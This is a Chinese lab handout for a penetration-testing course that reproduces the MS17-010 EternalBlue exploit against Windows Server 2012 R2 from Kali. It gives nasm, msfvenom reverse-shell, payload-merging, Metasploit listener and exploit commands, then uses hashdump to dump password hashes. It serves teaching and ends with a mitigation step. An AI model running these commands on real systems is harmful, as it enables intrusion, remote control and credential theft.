2024年1月6日发(作者:)

实验七-windows渗透测试-复现MS17-010漏洞

目录

实验七-windows渗透测试-复现MS17-010漏洞 ....................................................................... 1

7.1 实验目的 .............................................................................................................................................. 2

7.2 实验要求 .............................................................................................................................................. 2

7.3 实验步骤 .............................................................................................................................................. 2

7.3.1 环境设置 ....................................................................................................................... 2

7.3.2 编译Sleepya开发的内核shellcode .................................................................... 5

7.3.3 使用msfvenom生成一个反弹shellcode攻击的payload ........................... 6

7.3.4 合并内核shellcode和payload .............................................................................. 6

7.3.5 设置监听 ....................................................................................................................... 6

7.3.6 实施攻击 ....................................................................................................................... 7

7.3.7 渗透成功后 .................................................................................................................. 9

7.4 思考题 .................................................................................................................................................. 9

7.1 实验目的

(1)尝试windows操作系统渗透

(2)了解windows漏洞的相关知识

(3)复现MS17-010漏洞

7.2 实验要求

(1)采用windows server 2012 r2(作为靶机)和kali(作为攻击机),利用MS17-010漏洞成功渗透测试靶机。

7.3 实验步骤

7.3.1 环境设置

首先请关闭防火墙,如图3-1所示操作:

先打开控制面板

图7-1 打开控制面板

然后依次选择 系统和安全 -> Windows防火墙 -> 启用或关闭防火墙。如图3-2关闭Windwos防火墙。

图7-2 关闭防火墙

本实验需要在Windows server 2012中启动Guest账号,具体操作如下图所示;

图7-3 打开管理工具

图7-4 打开本机安全策略

图7-5 本地策略-安全策略中找到账户:来宾账户状态

图7-6 启用来宾账户

7.3.2 编译Sleepya开发的内核shellcode

把附件中的eternalblue_x64_(Sleepya开发的内核shellcode)复制进去kali中;

然后如图3-7,使用NASM工具对asm代码编译,输入以下命令:

nasm -f bin eternalblue_x64_

图7-7 编译asm代码

7.3.3 使用msfvenom生成一个反弹shellcode攻击的payload

如图3-8所示,输入指令生成一个基于TCP的反弹shell,LHOST和LPORT为本地ip和端口;

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o

meterpreter_ EXITFUNC=thread LHOST=192.168.232.148 LPORT=9090

图7-8 反弹shellcode攻击的payload

7.3.4 合并内核shellcode和payload

如图3-9所示,输入指令:

cat eternalblue_x64_kshellcode meterpreter_ > metasploit_

图7-9 合并内核shellcode和payload

7.3.5 设置监听

实施攻击之前,先去设置监听,在新的终端窗口中打开Metasploit(在终端输入msfconsole);

如图3-10所示,使用模块handler,设置payload为reverse_tcp,设置监听的Localhost的ip和端口,用来接受反弹的shellcode。注:下方将LHOST设置为127.0.0.1

图7-10 设置监听

然后等待反弹shell。(注:反弹成功后会出现如下划线文字)

图 7-11

7.3.6 实施攻击

将我们附件中的eternalblue_复制进kali中。

默认情况下,客户端帐户在Windows Server 2012 R2中处于禁用状态, 但是,如果被管理员激活,那么可以利用它来获取目标中的SYSTEM shell。第

一步是如图3-11所示修改eternalblue_,并指出它将是用于验证的那个帐户。

图7-12 设置USERNAME为Guest

然后重新打开一个新的终端,如图3-12所示,输入以下指令进行漏洞的利用:

python eternalblue_ 192.168.42.133 metasploit_ 400

注:此处的ip地址为靶机ip地址

参数"500"的值对应于"numGroomConn",调整"numGroomConn"的数量有助于生成一个连续的内核内存地址池,以便覆盖我们需要的缓冲区,并且能够正确执行shellcode。如果没有收到反弹的shell或者Windows server 2012出现蓝屏时,可以进一步增加或减少这个数值。(可能需要多次的尝试)

图7-13 进行攻击

返回之前的msf,若是如图6-12所示,说明成功反弹shell。

图7-14 成功反弹shell

7.3.7 渗透成功后

如图3-14所示,输入sysinfo,输出靶机的系统信息

如图3-15所示,输入hashdump,获取用户密码的哈希值。

图7-15 输出靶机的系统信息和用户密码的哈希值

7.4 思考题

(1)如何预防该漏洞?

永恒之蓝利用了445端口进行了攻击,我们关闭445端口即可,以下是详细步骤:

1.依次点击”开始“,”运行“,输入regedit,进入”注册表编辑器“。

2.接着,依次点击注册表选项”HKEY_LOCAL_MACHINE,SYSTEM,CurrentControlSet,services,NetBT,Parameters“,进入NetBT这个服务的相关注册表项。

3.然后,在Parameters这个子项的右侧,点击鼠标右键,“新建”,“QWORD(64位)值”,然后重命名为“SMBDeviceEnabled”,再把这个子键的值改为0,然后f5刷新退出就可以实现关闭端口了

(2)渗透的总过程是什么?

1. 关闭目标靶机的防火墙

2. 编译Sleepya开发的内核shellcode

3. 使用msfvenom生成一个反弹shellcode攻击的payload

4. 合并内核shellcode和payload

5. 在攻击机上设置监听

6. 实施攻击

7. 攻击成功后对靶机进行控制